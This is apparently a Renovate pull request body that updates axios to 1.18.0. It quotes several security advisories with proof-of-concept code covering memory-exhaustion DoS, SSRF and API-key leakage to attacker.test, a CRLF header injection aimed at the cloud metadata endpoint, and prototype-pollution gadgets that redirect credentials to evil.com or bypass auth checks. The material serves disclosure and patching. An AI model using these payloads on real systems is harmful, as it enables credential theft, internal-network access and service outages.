fix(deps): update dependency axios to v1.18.0 [security]

[renovate]

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
axios (source)	1.3.2 → 1.18.0

---

Axios Cross-Site Request Forgery Vulnerability

CVE-2023-45857 / GHSA-wf5p-g6vw-rhxx

More information

Details

An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.

Severity

• CVSS Score: 6.5 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

References

• https://nvd.nist.gov/vuln/detail/CVE-2023-45857
• https://github.com/axios/axios/issues/6006
• https://github.com/axios/axios/issues/6022
• https://github.com/axios/axios/pull/6028
• https://github.com/axios/axios/commit/96ee232bd3ee4de2e657333d4d2191cd389e14d0
• https://github.com/axios/axios/releases/tag/v1.6.0
• https://security.snyk.io/vuln/SNYK-JS-AXIOS-6032459
• https://github.com/axios/axios/pull/6091
• https://github.com/axios/axios/commit/2755df562b9c194fba6d8b609a383443f6a6e967
• https://github.com/axios/axios/releases/tag/v0.28.0
• https://security.netapp.com/advisory/ntap-20240621-0006
• https://github.com/advisories/GHSA-wf5p-g6vw-rhxx

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Server-Side Request Forgery in axios

CVE-2024-39338 / GHSA-8hc4-vh64-cxmj

More information

Details

axios 1.7.2 allows SSRF via unexpected behavior where requests for path relative URLs get processed as protocol relative URLs.

Severity

High

References

• https://nvd.nist.gov/vuln/detail/CVE-2024-39338
• https://github.com/axios/axios/releases
• https://jeffhacks.com/advisories/2024/06/24/CVE-2024-39338.html
• https://github.com/axios/axios/issues/6463
• https://github.com/axios/axios/pull/6539
• https://github.com/axios/axios/pull/6543
• https://github.com/axios/axios/commit/6b6b605eaf73852fb2dae033f1e786155959de3a
• https://github.com/axios/axios/releases/tag/v1.7.4
• https://github.com/advisories/GHSA-8hc4-vh64-cxmj

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Axios is vulnerable to DoS attack through lack of data size check

CVE-2025-58754 / GHSA-4hjh-wcwx-xvwj

More information

Details

Summary

When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response.
This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.

Details

The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.

Relevant code from [httpAdapter](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):

constfullPath=buildFullPath(config.baseURL,config.url,config.allowAbsoluteUrls);constparsed=newURL(fullPath,platform.hasBrowserEnv ? platform.origin : undefined);constprotocol=parsed.protocol||supportedProtocols[0];if(protocol==='data:'){letconvertedData;if(method!=='GET'){returnsettle(resolve,reject,{status: 405, ... });}convertedData=fromDataURI(config.url,responseType==='blob',{Blob: config.env&&config.env.Blob});returnsettle(resolve,reject,{data: convertedData,status: 200, ... });}

The decoder is in [lib/helpers/fromDataURI.js](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):

exportdefaultfunctionfromDataURI(uri,asBlob,options){
...
if(protocol==='data'){uri=protocol.length ? uri.slice(protocol.length+1) : uri;constmatch=DATA_URL_PATTERN.exec(uri);
...
constbody=match[3];constbuffer=Buffer.from(decodeURIComponent(body),isBase64 ? 'base64' : 'utf8');if(asBlob){returnnew_Blob([buffer],{type: mime});}returnbuffer;}thrownewAxiosError('Unsupported protocol '+protocol, ...);}

• The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.
• It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams.
• As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory.

In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs.

PoC

constaxios=require('axios');asyncfunctionmain(){// this example decodes ~120 MBconstbase64Size=160_000_000;// 120 MB after decodingconstbase64='A'.repeat(base64Size);consturi='data:application/octet-stream;base64,'+base64;console.log('Generating URI with base64 length:',base64.length);constresponse=awaitaxios.get(uri,{responseType: 'arraybuffer'});console.log('Received bytes:',response.data.length);}main().catch(err=>{console.error('Error:',err.message);});

Run with limited heap to force a crash:

node --max-old-space-size=100 poc.js

Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:

<--- Last few GCs --->
…
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x… node::Abort() …
…

Mini Real App PoC:
A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS.

importexpressfrom"express";importmorganfrom"morgan";importaxiosfrom"axios";importhttpfrom"node:http";importhttpsfrom"node:https";import{PassThrough}from"node:stream";constkeepAlive=true;consthttpAgent=newhttp.Agent({ keepAlive,maxSockets: 100});consthttpsAgent=newhttps.Agent({ keepAlive,maxSockets: 100});constaxiosClient=axios.create({timeout: 10000,maxRedirects: 5,
httpAgent, httpsAgent,headers: {"User-Agent": "axios-poc-link-preview/0.1 (+node)"},validateStatus: c=>c>=200&&c<400});constapp=express();constPORT=Number(process.env.PORT||8081);constBODY_LIMIT=process.env.MAX_CLIENT_BODY||"50mb";app.use(express.json({limit: BODY_LIMIT}));app.use(morgan("combined"));app.get("/healthz",(req,res)=>res.send("ok"));/** * POST /preview { "url": "<http|https|data URL>" } * Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector). */app.post("/preview",async(req,res)=>{consturl=req.body?.url;if(!url)returnres.status(400).json({error: "missing url"});letu;try{u=newURL(String(url));}catch{returnres.status(400).json({error: "invalid url"});}// Developer allows using data:// in the allowlistconstallowed=newSet(["http:","https:","data:"]);if(!allowed.has(u.protocol))returnres.status(400).json({error: "unsupported scheme"});constcontroller=newAbortController();constonClose=()=>controller.abort();res.on("close",onClose);constbefore=process.memoryUsage().heapUsed;try{constr=awaitaxiosClient.get(u.toString(),{responseType: "stream",maxContentLength: 8*1024,// Axios will ignore this for data:maxBodyLength: 8*1024,// Axios will ignore this for data:signal: controller.signal});// stream only the first 64KB backconstcap=64*1024;letsent=0;constlimiter=newPassThrough();r.data.on("data",(chunk)=>{if(sent+chunk.length>cap){limiter.end();r.data.destroy();}else{sent+=chunk.length;limiter.write(chunk);}});r.data.on("end",()=>limiter.end());r.data.on("error",(e)=>limiter.destroy(e));constafter=process.memoryUsage().heapUsed;res.set("x-heap-increase-mb",((after-before)/1024/1024).toFixed(2));limiter.pipe(res);}catch(err){constafter=process.memoryUsage().heapUsed;res.set("x-heap-increase-mb",((after-before)/1024/1024).toFixed(2));res.status(502).json({error: String(err?.message||err)});}finally{res.off("close",onClose);}});app.listen(PORT,()=>{console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`);console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`);});

Run this app and send 3 post requests:

SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \
| tee payload.json >/dev/null
seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @payload.json -o /dev/null```

---

Suggestions

1. Enforce size limits
   For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit.

2. Stream decoding
   Instead of decoding the entire payload in one Buffer.from call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

• https://github.com/axios/axios/security/advisories/GHSA-4hjh-wcwx-xvwj
• https://github.com/axios/axios/pull/7011
• https://github.com/axios/axios/commit/945435fc51467303768202250debb8d4ae892593
• https://github.com/axios/axios/releases/tag/v1.12.0
• https://nvd.nist.gov/vuln/detail/CVE-2025-58754
• https://github.com/axios/axios/pull/7034
• https://github.com/axios/axios/commit/a1b1d3f073a988601583a604f5f9f5d05a3d0b67
• https://github.com/axios/axios/releases/tag/v0.30.2
• https://github.com/axios/axios/commit/c30252f685e8f4326722de84923fcbc8cf557f06
• https://github.com/advisories/GHSA-4hjh-wcwx-xvwj

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL

CVE-2025-27152 / GHSA-jr5f-v2jv-69x6

More information

Details

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

importaxiosfrom"axios";constinternalAPIClient=axios.create({baseURL: "http://example.test/api/v1/users/",headers: {"X-API-KEY": "1234567890",},});// const userId = "123";constuserId="http://attacker.test/";awaitinternalAPIClient.get(userId);// SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

• When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
• Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

1. Set up two simple HTTP servers:

mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &

2. Create a script (e.g., main.js):

importaxiosfrom"axios";constclient=axios.create({baseURL: "http://localhost:10001/"});constresponse=awaitclient.get("http://localhost:10002/");console.log(response.data);

3. Run the script:

$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

• Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
• SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
• Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

Severity

• CVSS Score: 7.7 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

References

• https://github.com/axios/axios/security/advisories/GHSA-jr5f-v2jv-69x6
• https://github.com/axios/axios/issues/6463
• https://github.com/axios/axios/commit/fb8eec214ce7744b5ca787f2c3b8339b2f54b00f
• https://github.com/axios/axios/releases/tag/v1.8.2
• https://nvd.nist.gov/vuln/detail/CVE-2025-27152
• https://github.com/axios/axios/pull/6829
• https://github.com/axios/axios/commit/02c3c69ced0f8fd86407c23203835892313d7fde
• https://github.com/advisories/GHSA-jr5f-v2jv-69x6

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Axios is Vulnerable to Denial of Service via proto Key in mergeConfig

CVE-2026-25639 / GHSA-43fc-jf86-j433

More information

Details

Denial of Service via proto Key in mergeConfig

Summary

The mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service.

Details

The vulnerability exists in lib/core/mergeConfig.js at lines 98-101:

utils.forEach(Object.keys({ ...config1, ...config2}),functioncomputeConfigValue(prop){constmerge=mergeMap[prop]||mergeDeepProperties;constconfigValue=merge(config1[prop],config2[prop],prop);(utils.isUndefined(configValue)&&merge!==mergeDirectKeys)||(config[prop]=configValue);});

When prop is '__proto__':

1. JSON.parse('{"__proto__": {...}}') creates an object with __proto__ as an own enumerable property
2. Object.keys() includes '__proto__' in the iteration
3. mergeMap['__proto__'] performs prototype chain lookup, returning Object.prototype (truthy object)
4. The expression mergeMap[prop] || mergeDeepProperties evaluates to Object.prototype
5. Object.prototype(...) throws TypeError: merge is not a function

The mergeConfig function is called by:

• Axios._request() at lib/core/Axios.js:75
• Axios.getUri() at lib/core/Axios.js:201
• All HTTP method shortcuts (get, post, etc.) at lib/core/Axios.js:211,224

PoC

importaxiosfrom"axios";constmaliciousConfig=JSON.parse('{"__proto__": {"x": 1}}');awaitaxios.get("https://httpbin.org/get",maliciousConfig);

Reproduction steps:

1. Clone axios repository or npm install axios
2. Create file poc.mjs with the code above
3. Run: node poc.mjs
4. Observe the TypeError crash

Verified output (axios 1.13.4):

TypeError: merge is not a function
at computeConfigValue (lib/core/mergeConfig.js:100:25)
at Object.forEach (lib/utils.js:280:10)
at mergeConfig (lib/core/mergeConfig.js:98:9)

Control tests performed:

Test	Config	Result
Normal config	{"timeout": 5000}	SUCCESS
Malicious config	JSON.parse('{"__proto__": {"x": 1}}')	CRASH
Nested object	{"headers": {"X-Test": "value"}}	SUCCESS

Attack scenario:
An application that accepts user input, parses it with JSON.parse(), and passes it to axios configuration will crash when receiving the payload {"__proto__": {"x": 1}}.

Impact

Denial of Service - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.

Affected environments:

• Node.js servers using axios for HTTP requests
• Any backend that passes parsed JSON to axios configuration

This is NOT prototype pollution - the application crashes before any assignment occurs.

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

• https://github.com/axios/axios/security/advisories/GHSA-43fc-jf86-j433
• https://github.com/axios/axios/pull/7369
• https://github.com/axios/axios/commit/28c721588c7a77e7503d0a434e016f852c597b57
• https://github.com/axios/axios/releases/tag/v1.13.5
• https://nvd.nist.gov/vuln/detail/CVE-2026-25639
• https://github.com/axios/axios/pull/7388
• https://github.com/axios/axios/commit/d7ff1409c68168d3057fc3891f911b2b92616f9e
• https://github.com/axios/axios/releases/tag/v0.30.3
• https://github.com/advisories/GHSA-43fc-jf86-j433

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

CVE-2026-40175 / GHSA-fvcv-3m26-pcqx

More information

Details

Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

Summary

The Axios library is vulnerable to a specific gadget-style attack chain in which prototype pollution in a third-party dependency may be leveraged to inject unsanitized header values into outbound requests.

Axios can be used as a gadget after pollution occurs elsewhere because header values merged from attacker-controlled prototype properties are not sanitized for CRLF (\r\n) characters before being written to the request. In affected deployments, this may enable limited request manipulation or metadata access as part of a higher-complexity exploit chain.

Severity: Moderate (CVSS 3.1 Base Score: 4.8)
Affected Versions: All versions (v0.x - v1.x)
Vulnerable Component: lib/adapters/http.js (Header Processing)

Usage of "Helper" Vulnerabilities

This issue requires a separate prototype pollution vulnerability in another library in the application stack (for example, qs, minimist, ini, or body-parser). If an attacker can pollute Object.prototype, Axios may pick up the polluted properties during config merge.

Because Axios does not sanitise these merged header values for CRLF (\r\n) characters, the polluted property can alter the structure of an outbound HTTP request.

Proof of Concept

1. The Setup (Simulated Pollution)

Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:

Object.prototype['x-amz-target']= \"dummy\r\n\r\nPUT /latest/api/token HTTP/1.1\r\nHost: 169.254.169.254\r\nX-aws-ec2-metadata-token-ttl-seconds: 21600\r\n\r\nGET /ignore\";

2. The Gadget Trigger (Safe Code)

The application makes a completely safe, hardcoded request:

// This looks safe to the developerawaitaxios.get('https://analytics.internal/pings');

3. The Execution

Axios merges the prototype property x-amz-target into the request headers. It then writes the header value directly to the socket without validation.

Resulting HTTP traffic:

GET /pings HTTP/1.1Host: analytics.internalx-amz-target: dummyPUT /latest/api/token HTTP/1.1Host: 169.254.169.254X-aws-ec2-metadata-token-ttl-seconds: 21600GET /ignore HTTP/1.1...

4. The Impact

In environments where requests can reach cloud metadata endpoints or sensitive internal services, the injected header content may help bypass expected request constraints and expose limited credentials or modify request semantics. This impact depends on application context and a separate prototype-pollution primitive.

Impact Analysis

• Confidentiality: May expose limited sensitive information in affected network environments.
• Integrity: May allow modification of outbound request structure or injected headers.
• Attack Complexity: Exploitation requires a separate prototype-pollution vulnerability and a reachable target service.

Recommended Fix

Validate all header values in lib/adapters/http.js and xhr.js before passing them to the underlying request function.

Patch Suggestion:

// In lib/adapters/http.jsutils.forEach(requestHeaders,functionsetRequestHeader(val,key){if(/[\r\n]/.test(val)){thrownewError('Security: Header value contains invalid characters');}// ... proceed to set header});

References

• OWASP: CRLF Injection (CWE-113)

This report was generated as part of a security audit of the Axios library.

Severity

• CVSS Score: 4.8 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

References

• https://github.com/axios/axios/security/advisories/GHSA-fvcv-3m26-pcqx
• https://github.com/axios/axios/commit/363185461b90b1b78845dc8a99a1f103d9b122a1
• https://github.com/axios/axios/releases/tag/v1.15.0
• https://nvd.nist.gov/vuln/detail/CVE-2026-40175
• https://github.com/axios/axios/pull/10660
• https://github.com/axios/axios/pull/10660#issuecomment-4224168081
• https://github.com/axios/axios/pull/10688
• https://github.com/axios/axios/commit/03cdfc99e8db32a390e12128208b6778492cee9c
• https://github.com/axios/axios/releases/tag/v0.31.0
• https://cert-portal.siemens.com/productcert/html/ssa-876049.html
• https://github.com/advisories/GHSA-fvcv-3m26-pcqx

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Axios has a NO_PROXY Hostname Normalization Bypass that Leads to SSRF

CVE-2025-62718 / GHSA-3p68-rc4w-qgx5

More information

Details

Axios does not correctly handle hostname normalization when checking NO_PROXY rules.
Requests to loopback addresses like localhost. (with a trailing dot) or [::1] (IPv6 literal) skip NO_PROXY matching and go through the configured proxy.

This goes against what developers expect and lets attackers force requests through a proxy, even if NO_PROXY is set up to protect loopback or internal services.

According to RFC 1034 §3.1 and RFC 3986 §3.2.2, a hostname can have a trailing dot to show it is a fully qualified domain name (FQDN). At the DNS level, localhost. is the same as localhost.
However, Axios does a literal string comparison instead of normalizing hostnames before checking NO_PROXY. This causes requests like http://localhost.:8080/ and http://[::1]:8080/ to be incorrectly proxied.

This issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections.

---

PoC

importhttpfrom"http";importaxiosfrom"axios";constproxyPort=5300;http.createServer((req,res)=>{console.log("[PROXY] Got:",req.method,req.url,"Host:",req.headers.host);res.writeHead(200,{"Content-Type": "text/plain"});res.end("proxied");}).listen(proxyPort,()=>console.log("Proxy",proxyPort));process.env.HTTP_PROXY=`http://127.0.0.1:${proxyPort}`;process.env.NO_PROXY="localhost,127.0.0.1,::1";asyncfunctiontest(url){try{awaitaxios.get(url,{timeout: 2000});}catch{}}setTimeout(async()=>{console.log("\n[*] Testing http://localhost.:8080/");awaittest("http://localhost.:8080/");// goes through proxyconsole.log("\n[*] Testing http://[::1]:8080/");awaittest("http://[::1]:8080/");// goes through proxy},500);

Expected: Requests bypass the proxy (direct to loopback).
Actual: Proxy logs requests for localhost. and [::1].

---

Impact

• Applications that rely on NO_PROXY=localhost,127.0.0.1,::1 for protecting loopback/internal access are vulnerable.

• Attackers controlling request URLs can:

  • Force Axios to send local traffic through an attacker-controlled proxy.
  • Bypass SSRF mitigations relying on NO_PROXY rules.
  • Potentially exfiltrate sensitive responses from internal services via the proxy.

---

Affected Versions

• Confirmed on Axios 1.12.2 (latest at time of testing).
• affects all versions that rely on Axios’ current NO_PROXY evaluation.

---

Remediation
Axios should normalize hostnames before evaluating NO_PROXY, including:

• Strip trailing dots from hostnames (per RFC 3986).
• Normalize IPv6 literals by removing brackets for matching.

Severity

• CVSS Score: 6.3 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

References

• https://github.com/axios/axios/security/advisories/GHSA-3p68-rc4w-qgx5
• https://nvd.nist.gov/vuln/detail/CVE-2025-62718
• https://github.com/axios/axios/pull/10661
• https://github.com/axios/axios/commit/fb3befb6daac6cad26b2e54094d0f2d9e47f24df
• https://datatracker.ietf.org/doc/html/rfc1034#section-3.1
• https://datatracker.ietf.org/doc/html/rfc3986#section-3.2.2
• https://github.com/axios/axios/releases/tag/v1.15.0
• https://github.com/axios/axios/pull/10688
• https://github.com/axios/axios/commit/03cdfc99e8db32a390e12128208b6778492cee9c
• https://github.com/axios/axios/releases/tag/v0.31.0
• https://github.com/advisories/GHSA-3p68-rc4w-qgx5

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Axios has prototype pollution read-side gadgets in HTTP adapter that allow credential injection and request hijacking

CVE-2026-42264 / GHSA-q8qp-cvcw-x6jj

More information

Details

Summary

Five config properties in the HTTP adapter are read via direct property access without hasOwnProperty guards, making them exploitable as prototype pollution gadgets. When Object.prototype is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request.

Affected Properties

1. config.auth (lib/adapters/http.js line 617) Injects attacker-controlled Authorization header on all requests.
2. config.baseURL (lib/helpers/resolveConfig.js line 18) Redirects all requests using relative URLs to an attacker-controlled server.
3. config.socketPath (lib/adapters/http.js line 669) Redirects requests to internal Unix sockets (e.g. Docker daemon).
4. config.beforeRedirect (lib/adapters/http.js line 698) Executes attacker-supplied callback during HTTP redirects.
5. config.insecureHTTPParser (lib/adapters/http.js line 712) Enables Node.js insecure HTTP parser on all requests.

Proof of Concept

constaxios=require('axios');// Prototype pollution from a vulnerable dependency in the same processObject.prototype.auth={username: 'attacker',password: 'exfil'};Object.prototype.baseURL='https://evil.com';awaitaxios.get('/api/users');// Request is sent to: https://evil.com/api/users// With header: Authorization: Basic YXR0YWNrZXI6ZXhmaWw=// Attacker receives both the request and injected credentials

Impact

• Credential injection: Every axios request includes an attacker-controlled Authorization header, leaking request contents to any server that logs auth headers.
• Request hijacking: All requests using relative URLs are silently redirected to an attacker-controlled server.
• SSRF: Requests can be redirected to internal Unix sockets, enabling container escape in Docker environments.
• Code execution: Attacker-supplied functions execute during HTTP redirects.
• Parser weakening: Insecure HTTP parser enabled on all requests, enabling request smuggling.

Root Cause

mergeConfig() iterates Object.keys({...config1, ...config2}), which only returns own properties. When neither the defaults nor the user config sets these properties, they are absent from the merged config. The HTTP adapter then reads them via direct property access (config.auth, config.socketPath, etc.), which traverses the prototype chain and picks up polluted values.

The own() helper at lib/adapters/http.js line 336 exists and guards 8 other properties (data, lookup, family, httpVersion, http2Options, responseType, responseEncoding, transport) from this exact attack. The 5 properties listed above are not included in this protection.

Suggested Fix

Apply the existing own() helper to all affected properties:

constconfigAuth=own('auth');if(configAuth){constusername=configAuth.username||'';constpassword=configAuth.password||'';auth=username+':'+password;}

Same pattern for socketPath, beforeRedirect, insecureHTTPParser, and a hasOwnProperty check for baseURL in resolveConfig.js.

Severity

• CVSS Score: 7.4 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

• https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj
• https://nvd.nist.gov/vuln/detail/CVE-2026-42264
• https://github.com/axios/axios/pull/10779
• https://github.com/axios/axios/commit/47915144662f2733e6c051bdcb895a8c8f0586aa
• https://github.com/axios/axios/releases/tag/v1.15.2
• https://github.com/advisories/GHSA-q8qp-cvcw-x6jj

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Axios: Authentication Bypass via Prototype Pollution Gadget in validateStatus Merge Strategy

CVE-2026-42041 / GHSA-w9j2-pvgh-6h63

More information

Details

Vulnerability Disclosure: Authentication Bypass via Prototype Pollution Gadget in validateStatus Merge Strategy

Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution to silently suppress all HTTP error responses (401, 403, 500, etc.), causing them to be treated as successful responses. This completely bypasses application-level authentication and error handling.

The root cause is that validateStatus is the only config property using the mergeDirectKeys merge strategy, which uses JavaScript's in operator — an operator that inherently traverses the prototype chain. When Object.prototype.validateStatus is polluted with () => true, all HTTP status codes are accepted as success.

Severity: High (CVSS 8.2)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component:lib/core/mergeConfig.js (mergeDirectKeys strategy) + lib/core/settle.js

CWE

• CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
• CWE-287: Improper Authentication

CVSS 3.1

Score: 8.2 (High)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

Metric	Value	Justification
Attack Vector	Network	PP is triggered remotely
Attack Complexity	Low	Once PP exists, a single property assignment exploits this. Consistent with GHSA-fvcv-3m26-pcqx
Privileges Required	None	No authentication needed
User Interaction	None	No user interaction required
Scope	Unchanged	Impact within the application
Confidentiality	Low	401 treated as success may expose data behind auth gates
Integrity	High	All error handling and auth checks are silently bypassed — application operates on invalid assumptions
Availability	None	The function works correctly (returns true), no crash

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack, Axios will automatically inherit the polluted validateStatus function during config merge. The in operator in mergeDirectKeys makes this property uniquely susceptible to prototype pollution compared to all other config properties.

Why validateStatus Is Uniquely Vulnerable

All other config properties use defaultToConfig2, which reads config2[prop] (traverses prototype). But validateStatus uses mergeDirectKeys, which uses the in operator:

// mergeConfig.js:58-64 — mergeDirectKeys (ONLY used by validateStatus)functionmergeDirectKeys(a,b,prop){if(propinconfig2){// ← `in` traverses prototype chain!returngetMergedValue(a,b);}elseif(propinconfig1){returngetMergedValue(undefined,a);}}// mergeConfig.js:94constmergeMap={// ... all others use defaultToConfig2 ...validateStatus: mergeDirectKeys,// ← ONLY property using this strategy};

The in operator is a more aggressive prototype traversal than property access. While config2['validateStatus'] also traverses the prototype, the explicit in check makes the intent clearer and the vulnerability more direct.

Proof of Concept

1. The Setup (Simulated Pollution)

Object.prototype.validateStatus=()=>true;

2. The Gadget Trigger (Safe Code)

// Application checks authentication via HTTP status codestry{constresponse=awaitaxios.get('https://api.internal/admin/users');// Developer expects: 401 → catch block → redirect to login// Reality: 401 → treated as success → displays admin dataprocessAdminData(response.data);// Executes with 401 response body!}catch(error){redirectToLogin();// NEVER REACHED for 401/403/500}

3. The Execution

// mergeConfig.js:58 — 'validateStatus' in config2// config2 = { url: '/admin/users', method: 'get' }// 'validateStatus' in config2 → checks prototype → finds () => true → TRUE// → getMergedValue(defaultValidator, () => true) → returns () => true// settle.js:16 — ALL status codes resolveconstvalidateStatus=response.config.validateStatus;// () => trueif(!response.status||!validateStatus||validateStatus(response.status)){resolve(response);// 401, 403, 500 all resolve here!}

4. The Impact

Before pollution:
HTTP 200 → resolve (success)
HTTP 401 → reject (auth error) → redirectToLogin()
HTTP 403 → reject (forbidden) → showAccessDenied()
HTTP 500 → reject (server error) → showErrorPage()
After pollution:
HTTP 200 → resolve (success)
HTTP 401 → resolve (SUCCESS!) → processAdminData() with error body
HTTP 403 → resolve (SUCCESS!) → application thinks user has access
HTTP 500 → resolve (SUCCESS!) → application processes error as data

Verified PoC Output

--- Before Pollution ---
401: REJECTED as expected - Request failed with status code 401
500: REJECTED as expected - Request failed with status code 500
--- After Pollution ---
200: RESOLVED as success (status: 200)
301: RESOLVED as success (status: 301)
401: RESOLVED as success (status: 401)
403: RESOLVED as success (status: 403)
404: RESOLVED as success (status: 404)
500: RESOLVED as success (status: 500)
503: RESOLVED as success (status: 503)
--- Authentication Bypass Demo ---
Auth check bypassed! 401 treated as success.
Application proceeds with: { status: 401, message: 'Response with status 401' }

Impact Analysis

• Authentication Bypass: Applications relying on axios rejecting 401/403 to enforce auth will silently accept unauthorized responses, allowing unauthenticated access to protected resources.
• Silent Error Swallowing: 500-series errors are treated as success, causing applications to process error bodies as valid data — leading to data corruption or logic errors.
• Security Control Bypass: Rate limiting (429), WAF blocks (403), and CAPTCHA challenges are suppressed.
• Universal Scope: Affects every axios instance in the application, including third-party libraries.

Recommended Fix

Replace the in operator with hasOwnProperty in mergeDirectKeys:

// FIXED: lib/core/mergeConfig.jsfunctionmergeDirectKeys(a,b,prop){if(Object.prototype.hasOwnProperty.call(config2,prop)){returngetMergedValue(a,b);}elseif(Object.prototype.hasOwnProperty.call(config1,prop)){returngetMergedValue(undefined,a);}}

Resources

• CWE-1321: Prototype Pollution
• CWE-287: Improper Authentication
• GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios
• MDN: in operator
• Axios GitHub Repository

Timeline

Date	Event
2026-04-15	Vulnerability discovered during source code audit
2026-04-15	PoC developed and vulnerability confirmed
2026-04-16	Report revised for accuracy
TBD	Report submitted to vendor via GitHub Security Advisory

Severity

• CVSS Score: 4.8 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

References

